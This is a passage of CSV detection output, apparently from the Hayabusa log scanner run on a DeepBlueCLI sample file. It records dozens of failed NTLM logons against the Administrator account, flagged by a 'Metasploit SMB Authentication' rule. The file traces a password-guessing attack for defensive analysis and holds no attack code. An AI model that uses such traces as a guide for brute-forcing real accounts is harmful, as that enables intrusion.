Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l7UogJ8bBw6Epbht : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qIl0QRFHXCVAHWdV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OxPv9v4TxFvS9JMy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.370 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uHMGfCorrLXpDyeD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.417 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KQTKgFibIa8NWExO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.452 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.492 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rEnx3upH3Om0wHn7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.492 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KlNbW1ljPSTdgUKY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.532 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w2WMd3HugfjSwJPJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.582 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yEy0C6dMhysbNDrX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.628 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vxlayd8pnAZ3dZ2Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.666 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PhKO1jyWqVEdC9w2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.736 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dAH2mHJ4ZK5GS2p0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.736 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lV2ZIWGGwlkyEMRB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.811 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sum2yMFio9KLwZk5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.811 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fICXSRvv9Vm0uVpY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.894 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IgrOk6Fjp0QtfJ3i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.894 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OPKoHLtxNoiG65sl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.936 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NctXRH1DR3slfVxQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.972 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vLnAs36K1mTivu2w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.012 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H7crZQ0eQ5RDNIp7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yHjgGhEtZgNwjaii : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.108 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y5gi2SS2mQiDylQ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kqWJGguiWBEplJiZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.186 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RWP4luPa3lFolQVI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5K9DQWbzslRZZMSC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.276 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5qm0L113v24jlfjx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.329 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.360 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: seuUjyGmNlyYT4tU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.360 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FljAF4LWLmWNa3kL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.400 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.447 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RnN5mBOaAvYu25G7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.447 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: llBt31S46QVzg0Ki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.476 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b1rvJUZo91Kka0G1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7Zqi86ZSFGRnoFM4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.573 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GeyeVdCUmHEKxR8f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DwxJVXt79KBZalqS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.708 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TDfRu1OTlHmyc38P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.748 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OLCAMPDWti9hjHtV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.790 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.833 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k2eViuJeorX2peGP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.833 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: davOE9p1fF2LbDP7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.868 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.922 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YFQsEbZnm94eSuUl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.922 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UnNcBIPoWdJH0x7M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.997 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Fw1xVFyar0Cal2J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.997 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.040 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FWzn4Oa8PQdH9Gqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.040 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b68beIB5BKyMv8d3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HeXSJhEXzpiRX8BT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.124 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.169 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BQ8Zu7ByLWddD4Tk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.169 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: paQzUptV8scmJvsG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.234 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WQLsoIX9LPvbockz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.234 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 